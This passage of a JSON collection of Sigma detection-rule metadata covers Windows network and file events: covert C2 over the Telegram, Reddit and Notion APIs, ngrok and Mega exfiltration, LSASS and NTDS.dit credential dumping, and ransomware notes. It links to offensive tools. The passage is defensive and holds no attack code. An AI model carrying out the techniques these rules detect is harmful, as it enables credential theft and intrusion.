      "uuid": "9501f8e6-8e3d-48fc-a8a6-1089dd5d7ef4",
      "value": "Network Connection Initiated To DevTunnels Domain"
    },
    {
      "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/28",
        "falsepositive": [
          "Legitimate scripts"
        ],
        "filename": "net_connection_win_script.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c",
      "value": "Script Initiated Connection"
    },
    {
      "description": "Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/19",
        "falsepositive": [
          "Legitimate applications communicating with the Telegram API e.g. web browsers not in the exclusion list, app with an RSS  etc."
        ],
        "filename": "net_connection_win_telegram_api_non_browser_access.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_telegram_api_non_browser_access.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3dbbc9f-ef1d-470a-a90a-d343448d5875",
      "value": "Suspicious Non-Browser Network Communication With Telegram API"
    },
    {
      "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Web Browsers"
        ],
        "filename": "net_connection_win_susp_outbound_kerberos_connection.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Rubeus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558",
          "attack.lateral_movement",
          "attack.t1550.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74",
      "value": "Suspicious Outbound Kerberos Connection"
    },
    {
      "description": "Detects programs with network connections running in suspicious files system locations",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tim Shelton",
        "creation_date": "2017/03/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_susp_prog_location_network_connection.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f",
      "value": "Suspicious Program Location with Network Connections"
    },
    {
      "description": "Detects an executable accessing ngrok domains, which could be a sign of forbidden data exfiltration by malicious actors",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/16",
        "falsepositive": [
          "Legitimate use of ngrok domains"
        ],
        "filename": "net_connection_win_ngrok_domains.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/",
          "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf",
          "https://ngrok.com/blog-post/new-ngrok-domains",
          "https://ngrok.com/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_domains.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18249279-932f-45e2-b37a-8925f2597670",
      "value": "Communication To Ngrok Domains"
    },
    {
      "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/02/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_rdp_reverse_tunnel.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1096148422984384514",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1572",
          "attack.lateral_movement",
          "attack.t1021.001",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4",
      "value": "RDP Over Reverse SSH Tunnel"
    },
    {
      "description": "Detects an a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2",
      "meta": {
        "author": "Gavin Knapp",
        "creation_date": "2023/02/16",
        "falsepositive": [
          "Legitimate applications communicating with the Reddit API e.g. web browsers not in the exclusion list, app with an RSS  etc."
        ],
        "filename": "net_connection_win_reddit_api_non_browser_access.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/kleiton0x7e/status/1600567316810551296",
          "https://github.com/kleiton0x00/RedditC2",
          "https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_reddit_api_non_browser_access.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7b09985-95a3-44be-8450-b6eadf49833e",
      "value": "Suspicious Non-Browser Network Communication With Reddit API"
    },
    {
      "description": "Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as \"OffensiveNotion C2\"",
      "meta": {
        "author": "Gavin Knapp",
        "creation_date": "2023/05/03",
        "falsepositive": [
          "Legitimate applications communicating with the \"api.notion.com\" endpoint that are not already in the exclusion list. The desktop and browser applications do not appear to be using the API by default unless integrations are configured."
        ],
        "filename": "net_connection_win_notion_api_susp_communication.yml",
        "level": "low",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/mttaggart/OffensiveNotion",
          "https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notion_api_susp_communication.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7e9cf7b6-e827-11ed-a05b-15959c120003",
      "value": "Potentially Suspicious Network Connection To Notion API"
    },
    {
      "description": "Detects network connections initiated by IMEWDBLD. This might indicate potential abuse to download arbitrary files via this utility",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_imewdbld.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download",
          "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228",
      "value": "Network Connection Initiated By IMEWDBLD.EXE"
    },
    {
      "description": "Detects Dllhost that communicates with public IP addresses",
      "meta": {
        "author": "bartblaze",
        "creation_date": "2020/07/13",
        "falsepositive": [
          "Communication to other corporate systems that use IP addresses from public address spaces"
        ],
        "filename": "net_connection_win_dllhost_net_connections.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08",
          "https://redcanary.com/blog/child-processes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.execution",
          "attack.t1559.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cfed2f44-16df-4bf3-833a-79405198b277",
      "value": "Dllhost Internet Connection"
    },
    {
      "description": "Detects suspicious network connection by Cmstp",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_susp_cmstp.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d",
      "value": "Cmstp Making Network Connection"
    },
    {
      "description": "Detects network connections from Equation Editor",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2022/04/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_eqnedt.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/forensicitguy/status/1513538712986079238",
          "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583",
      "value": "Equation Editor Network Connection"
    },
    {
      "description": "Detects external IP address lookups by non-browser processes via services such as \"api.ipify.org\". This could be indicative of potential post compromise internet test activity.",
      "meta": {
        "author": "Janantha Marasinghe, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/24",
        "falsepositive": [
          "Legitimate use of the external websites for troubleshooting or network monitoring"
        ],
        "filename": "net_connection_win_susp_external_ip_lookup.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/",
          "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html",
          "https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md",
          "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_external_ip_lookup.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1016"
        ]
      },
      "related": [
        {
          "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edf3485d-dac4-4d50-90e4-b0e5813f7e60",
      "value": "Suspicious Network Connection to IP Lookup Service APIs"
    },
    {
      "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/20",
        "falsepositive": [
          "Legitimate use of the API with a tool that the author wasn't aware of"
        ],
        "filename": "net_connection_win_susp_dropbox_api.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east",
          "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68",
      "value": "Suspicious Dropbox API Usage"
    },
    {
      "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/12/06",
        "falsepositive": [
          "Legitimate use of mega.nz uploaders and tools"
        ],
        "filename": "net_connection_win_mega_nz.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/russian-targeting-gov-business",
          "https://megatools.megous.com/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4",
      "value": "Communication To Mega.nz"
    },
    {
      "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Legitimate msiexec over networks"
        ],
        "filename": "net_connection_win_msiexec.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f",
      "value": "Msiexec Initiated Connection"
    },
    {
      "description": "Detects potential privilege escalation attempt via the creation of the \"*.Exe.Local\" folder inside the \"System32\" directory in order to sideload \"comctl32.dll\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Subhash P (@pbssubhash)",
        "creation_date": "2022/12/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_system32_local_folder_privilege_escalation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/binderlabs/DirCreate2System",
          "https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_system32_local_folder_privilege_escalation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "07a99744-56ac-40d2-97b7-2095967b0e03",
      "value": "Potential Privilege Escalation Attempt Via .Exe.Local Technique"
    },
    {
      "description": "Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_lsass_default_dump_file_names.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf",
          "https://github.com/CCob/MirrorDump",
          "https://github.com/helpsystems/nanodump",
          "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml",
          "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/",
          "https://www.google.com/search?q=procdump+lsass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_default_dump_file_names.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391",
      "value": "LSASS Process Memory Dump Files"
    },
    {
      "description": "Detects creation of \".vhd\"/\".vhdx\" files by browser processes.\nMalware can use mountable Virtual Hard Disk \".vhd\" files to encapsulate payloads and evade security controls.\n",
      "meta": {
        "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'",
        "creation_date": "2021/10/25",
        "falsepositive": [
          "Legitimate downloads of \".vhd\" files would also trigger this"
        ],
        "filename": "file_event_win_vhd_download_via_browsers.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-october-2021/",
          "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/",
          "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1587.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8468111a-ef07-4654-903b-b863a80bbc95",
      "value": "VHD Image Download Via Browser"
    },
    {
      "description": "Detects the creation of the LiveKD driver by a process image other than \"livekd.exe\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/16",
        "falsepositive": [
          "Administrators might rename LiveKD before its usage which could trigger this. Add additional names you use to the filter"
        ],
        "filename": "file_event_win_sysinternals_livekd_driver_susp_creation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver_susp_creation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "059c5af9-5131-4d8d-92b2-de4ad6146712",
      "value": "LiveKD Driver Creation By Uncommon Process"
    },
    {
      "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon process or a process located in a suspicious directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ntds_dit_uncommon_process.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2398",
          "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720",
      "value": "NTDS.DIT Creation By Uncommon Process"
    },
    {
      "description": "Detects files written by the different tools that exploit HiveNightmare",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/23",
        "falsepositive": [
          "Files that accidentally contain these strings"
        ],
        "filename": "file_event_win_hktl_hivenightmare_file_exports.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WiredPulse/Invoke-HiveNightmare",
          "https://github.com/GossiTheDog/HiveNightmare",
          "https://twitter.com/cube0x0/status/1418920190759378944",
          "https://github.com/FireFart/hivenightmare/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_hivenightmare_file_exports.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001",
          "cve.2021.36934"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7",
      "value": "Typical HiveNightmare SAM File Export"
    },
    {
      "description": "Detects the creation of a new PowerShell module \".psm1\", \".psd1\", \".dll\", \".ps1\", etc.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/09",
        "falsepositive": [
          "Likely"
        ],
        "filename": "file_event_win_powershell_module_creation.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_creation.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "e36941d0-c0f0-443f-bc6f-cb2952eb69ea",
      "value": "PowerShell Module File Created"
    },
    {
      "description": "Detects the creation of a macro file for Outlook.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_office_outlook_susp_macro_creation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53",
          "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/",
          "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_susp_macro_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.command_and_control",
          "attack.t1137",
          "attack.t1008",
          "attack.t1546"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "117d3d3a-755c-4a61-b23e-9171146d094c",
      "value": "Suspicious Outlook Macro Created"
    },
    {
      "description": "Detects the creation of files with an \"LNK\" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the \"LNK\" extension by default.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2022/11/07",
        "falsepositive": [
          "Some tuning is required for other general purpose directories of third party apps"
        ],
        "filename": "file_event_win_susp_lnk_double_extension.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/",
          "https://twitter.com/luc4m/status/1073181154126254080",
          "https://twitter.com/malwrhunterteam/status/1235135745611960321",
          "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
          "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8",
      "value": "Suspicious LNK Double Extension File Created"
    },
    {
      "description": "Ransomware create txt file in the user Desktop",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_desktop_txt.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11",
      "value": "Suspicious Creation TXT File in User Desktop"
    },
    {
      "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file",
      "meta": {
